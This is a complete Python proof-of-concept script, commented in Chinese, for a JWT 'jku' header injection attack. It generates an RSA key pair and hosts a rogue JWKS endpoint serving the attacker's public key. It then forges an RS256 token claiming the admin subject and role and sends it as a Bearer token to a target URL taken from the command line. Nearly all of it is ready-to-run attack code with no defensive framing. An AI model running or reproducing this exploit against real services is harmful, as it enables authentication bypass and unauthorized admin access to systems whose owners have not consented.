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"""
JKU 注入完整攻击 PoC
用途：自动完成密钥生成 → JWKS 服务器启动 → JWS 伪造 → 请求发送
"""
import argparse
import json
import base64
import threading
import time
import requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import jwt
class JWKSHandler(BaseHTTPRequestHandler):
"""恶意 JWKS 服务器请求处理"""
n_b64 = ""
e_b64 = ""
def do_GET(self):
if self.path == "/jwks.json":
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
jwks = {
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": self.server.kid,
"n": self.server.n_b64,
"e": self.server.e_b64
}
]
}
self.wfile.write(json.dumps(jwks).encode())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
print(f"[JWKS Server] {args[0]} {args[1]} {args[2]}")
class JKUExploit:
"""JKU 注入攻击控制器"""
def __init__(self, listen_port=8888):
self.listen_port = listen_port
self._generate_keys()
def _int_to_base64url(self, num):
num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode()
def _generate_keys(self):
"""生成 RSA 密钥对"""
self.private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_numbers = self.private_key.public_key().public_numbers()
self.n_b64 = self._int_to_base64url(public_numbers.n)
self.e_b64 = self._int_to_base64url(public_numbers.e)
self.kid = "exploit-key-" + str(int(time.time()))
private_pem = self.private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
with open("private.p8", "wb") as f:
f.write(private_pem)
print(f"[+] RSA 2048 密钥对已生成")
print(f"[+] Private key saved to private.p8")
def start_jwks_server(self):
"""启动恶意 JWKS 服务器"""
server = HTTPServer(("0.0.0.0", self.listen_port), JWKSHandler)
server.n_b64 = self.n_b64
server.e_b64 = self.e_b64
server.kid = self.kid
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
print(f"[+] Malicious JWKS server started on port {self.listen_port}")
print(f" URL: http://YOUR_IP:{self.listen_port}/jwks.json")
return t
def forge_jwt(self, jku_url: str, payload_claims: dict) -> str:
"""伪造 JWT Token"""
headers = {
"alg": "RS256",
"typ": "JWT",
"kid": self.kid,
"jku": jku_url
}
token = jwt.encode(
payload=payload_claims,
key=self.private_key,
algorithm="RS256",
headers=headers
)
return token
def exploit(self, target_url: str, jku_url: str = None,
payload_claims: dict = None):
"""执行完整攻击"""
self.start_jwks_server()
time.sleep(0.5)
if payload_claims is None:
payload_claims = {
"sub": "admin",
"role": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
if jku_url is None:
jku_url = f"http://YOUR_IP:{self.listen_port}/jwks.json"
token = self.forge_jwt(jku_url, payload_claims)
print(f"\n[+] 伪造的 JWT Token:")
print(f" {token}")
print(f"\n[*] 发送请求到 {target_url}")
try:
r = requests.get(
target_url,
headers={"Authorization": f"Bearer {token}"},
timeout=10
)
print(f"[*] 响应状态码: {r.status_code}")
print(f"[*] 响应内容: {r.text[:500]}")
return r
except Exception as e:
print(f"[!] 请求失败: {e}")
return None
def main():
parser = argparse.ArgumentParser(description="JKU 注入攻击 PoC")
parser.add_argument("-t", "--target", required=True,
help="目标 URL (如 https://target.com/admin)")
parser.add_argument("-p", "--port", type=int, default=8888,
help="本地 JWKS 服务器端口")
parser.add_argument("-j", "--jku", help="JKU URL (默认自动使用本地服务器)")
parser.add_argument("--sub", default="admin",
help="Payload 中的 sub 字段")
parser.add_argument("--role", default="admin",
help="Payload 中的 role 字段")
args = parser.parse_args()
print("""
╔══════════════════════════════════════════════════╗
║ JKU 注入攻击 PoC ║
║ 目标: {target} ║
╚══════════════════════════════════════════════════╝
""".format(target=args.target))
exploit = JKUExploit(listen_port=args.port)
payload = {
"sub": args.sub,
"role": args.role,
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
exploit.exploit(
target_url=args.target,
jku_url=args.jku,
payload_claims=payload
)
print(f"\n[*] JWKS 服务器仍在运行，按 Ctrl+C 停止")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 已停止")
if __name__ == "__main__":
main()
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